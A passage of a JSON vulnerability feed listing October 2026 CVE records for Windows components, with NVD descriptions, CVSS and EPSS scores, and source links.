preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83902&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83902, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83901","cveId":"CVE-2026-83901","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:44.220Z","updatedAt":"2026-10-16T16:21:44.323Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83901","asOf":"2026-10-16T16:21:44.323Z"},"epss":{"probability":0.00307,"percentile":0.23259,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83901&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83901","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83901","type":"primary","publishedAt":"2026-10-13T19:20:44.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83901&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83901, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83877","cveId":"CVE-2026-83877","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in HID Parser Library allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in HID Parser Library allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in HID Parser Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:38.310Z","updatedAt":"2026-10-16T16:21:41.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83877","asOf":"2026-10-16T16:21:41.487Z"},"epss":{"probability":0.00388,"percentile":0.3261,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83877&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83877","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83877","type":"primary","publishedAt":"2026-10-13T19:20:38.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83877&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83877, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83868","cveId":"CVE-2026-83868","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:36.517Z","updatedAt":"2026-10-16T16:21:40.070Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83868","asOf":"2026-10-16T16:21:40.070Z"},"epss":{"probability":0.00204,"percentile":0.10246,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83868&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83868","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83868","type":"primary","publishedAt":"2026-10-13T19:20:36.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83868&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83868, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83863","cveId":"CVE-2026-83863","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:35.670Z","updatedAt":"2026-10-16T16:21:39.220Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83863","asOf":"2026-10-16T16:21:39.220Z"},"epss":{"probability":0.00361,"percentile":0.29678,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83863&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83863","type":"primary","publishedAt":"2026-10-13T19:20:35.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83863&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83863, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83852","cveId":"CVE-2026-83852","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:34.110Z","updatedAt":"2026-10-13T21:18:56.280Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83852","asOf":"2026-10-13T21:18:56.280Z"},"epss":{"probability":0.00258,"percentile":0.17255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83852&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83852","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83852","type":"primary","publishedAt":"2026-10-13T19:20:34.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83852&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83852, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83851","cveId":"CVE-2026-83851","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Partition Management Driver allows an unauthorized attacker to elevate privileges over a network.","summary":"Heap-based buffer overflow in Windows Partition Management Driver allows an unauthorized attacker to elevate privileges over a network.","detail":"Heap-based buffer overflow in Windows Partition Management Driver allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:33.960Z","updatedAt":"2026-10-16T16:21:37.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83851","asOf":"2026-10-16T16:21:37.620Z"},"epss":{"probability":0.00785,"percentile":0.55789,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83851&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83851","type":"primary","publishedAt":"2026-10-13T19:20:33.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83851&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83851, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83850","cveId":"CVE-2026-83850","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:33.787Z","updatedAt":"2026-10-16T16:21:37.453Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83850","asOf":"2026-10-16T16:21:37.453Z"},"epss":{"probability":0.00361,"percentile":0.29679,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83850&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83850","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83850","type":"primary","publishedAt":"2026-10-13T19:20:33.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83850&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83850, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83848","cveId":"CVE-2026-83848","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:33.480Z","updatedAt":"2026-10-16T16:21:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83848","asOf":"2026-10-16T16:21:37.150Z"},"epss":{"probability":0.0042,"percentile":0.36001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83848&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83848","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83848","type":"primary","publishedAt":"2026-10-13T19:20:33.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83848&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83848, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83847","cveId":"CVE-2026-83847","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Account allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft Account allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Account allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:33.300Z","updatedAt":"2026-10-16T16:21:36.980Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83847","asOf":"2026-10-16T16:21:36.980Z"},"epss":{"probability":0.00348,"percentile":0.28094,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83847","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83847","type":"primary","publishedAt":"2026-10-13T19:20:33.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83846","cveId":"CVE-2026-83846","aliases":[],"kind":"vulnerability","title":"Use after free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:33.147Z","updatedAt":"2026-10-16T16:21:36.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83846","asOf":"2026-10-16T16:21:36.833Z"},"epss":{"probability":0.00275,"percentile":0.19727,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83846&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83846","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83846","type":"primary","publishedAt":"2026-10-13T19:20:33.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83846&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83846, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83845","cveId":"CVE-2026-83845","aliases":[],"kind":"vulnerability","title":"Improper privilege management in Windows Internet (wininet.dll) allows an authorized attacker to perform spoofing locally.","summary":"Improper privilege management in Windows Internet (wininet.dll) allows an authorized attacker to perform spoofing locally.","detail":"Improper privilege management in Windows Internet (wininet.dll) allows an authorized attacker to perform spoofing locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:33.013Z","updatedAt":"2026-10-16T16:21:36.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83845","asOf":"2026-10-16T16:21:36.707Z"},"epss":{"probability":0.00327,"percentile":0.25537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83845&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83845","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83845","type":"primary","publishedAt":"2026-10-13T19:20:33.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83845&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83845, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83844","cveId":"CVE-2026-83844","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Paint allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds read in Windows Paint allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds read in Windows Paint allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:32.890Z","updatedAt":"2026-10-13T21:18:55.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83844","asOf":"2026-10-13T21:18:55.230Z"},"epss":{"probability":0.00734,"percentile":0.54112,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83844&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83844","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83844","type":"primary","publishedAt":"2026-10-13T19:20:32.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83844&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83844, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83843","cveId":"CVE-2026-83843","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Internet Key Exchange (IKE) Protocol allows an unauthorized attacker to deny service over a network.","summary":"Out-of-bounds read in Windows Internet Key Exchange (IKE) Protocol allows an unauthorized attacker to deny service over a network.","detail":"Out-of-bounds read in Windows Internet Key Exchange (IKE) Protocol allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:32.713Z","updatedAt":"2026-10-16T16:21:36.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83843","asOf":"2026-10-16T16:21:36.470Z"},"epss":{"probability":0.01301,"percentile":0.70256,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83843&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 